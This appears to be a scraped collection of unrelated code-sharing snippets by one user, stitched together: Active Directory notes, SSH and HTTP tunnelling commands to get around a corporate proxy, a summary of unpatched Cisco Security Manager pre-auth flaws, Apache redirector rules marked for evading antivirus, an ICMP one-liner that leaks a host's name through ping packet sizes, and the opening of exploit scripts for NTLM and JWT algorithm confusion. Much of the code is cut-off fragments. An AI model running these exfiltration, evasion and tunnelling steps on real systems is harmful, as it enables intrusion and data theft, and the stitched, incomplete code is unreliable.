filipesam

Notes on learning Active Directory

1. NetBIOS name should match your forest FQDN. So if FQDN=adlunches.net, NetBIOS name is ADLUNCHES
2. Every AD forest has a server which indexes all the objects in the forest. This is known as the Global Catalog server.
   1. Each domain needs at least 1 GC server, can have more for redundancy. This is so it can find objects in other domains.
   2. Any DC can be GC.
   3. By default all DCs will be GCs. GCs take up disk space and bandwidth, but both are plentiful.
   4. Microsoft Exchange requires GC server to run.
   5. Allow logins via UPN eg. [email protected], which may be on same domain.
3. GC servers should be deployed at sites with poor WAN links or filtered connections.

filipesam

:: plink from here: http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe
:: Guide available here: http://blog.buttewifi.com/2010/01/dynamic-ssh-tunneling-with-putty-to-secure-web-traffic/

:: Connects to 192.168.1.2 on port 5900. Sets up a SOCKS proxy that listens on 127.0.0.1 port 9876 and forwards all connections through the connection to 192.168.1.2.
:: You then need to configure your system to use 127.0.0.1:9876 as a SOCKS proxy.
putty\PLINK.EXE 192.168.1.2 -P 5900 -D 127.0.0.1:9876 -N

:: Gotcha: In Windows, you need to specifically enable it as a SOCKS proxy, and disable all other proxies.

filipesam

# Client (Cygwin)

lynx -source rawgit.com/transcode-open/apt-cyg/master/apt-cyg > apt-cyg
install apt-cyg /bin
apt-cyg install httptunnel

htc -P $CORP_HTTP_PROXY_HOST:$CORP_HTTP_PROXY_PORT -F 8888 $HTS_SERVER_HOST:80
　
ssh -p 8888 $USER@localhost

filipesam

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

filipesam

	Define REDIR_TARGET example.com

	RewriteEngine On
	RewriteOptions Inherit
	
	# Uncomment the below line for verbose logging, including seeing which rule matched.
	#LogLevel alert rewrite:trace5
	
	# BURN AV BURN
	

filipesam

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#

filipesam

using System;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;

filipesam

1. Capture ICMP packets on your server:

tcpdump -nni eth0 -e icmp[icmptype] == 8 -w output.cap

2. Send ICMP packets to your server with each byte stored in the packet size, execute this on the remote machine:

ip=vm03;output=`hostname`;for ((i=0;i<${#output};i++));do; ping -c 1 -s `printf '%d\n' "'${output:$i:1}'"` $ip;done

filipesam

import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

filipesam

#!/usr/bin/env python2
#############################################################
# @AaylaSecura1138, github.com/aayla-secura
# Modify and distribute as you wish
#############################################################
# NO LONGER MAINTAINED: CURRENT CODE LIVES HERE:
# https://github.com/aurainfosec/jwt_resign_asym_to_sym
#############################################################
# Some JWT libraries are vulnerable to a known attack which changes
# the type of a JWT from an asymmetric (e.g. RS256) to a symmetric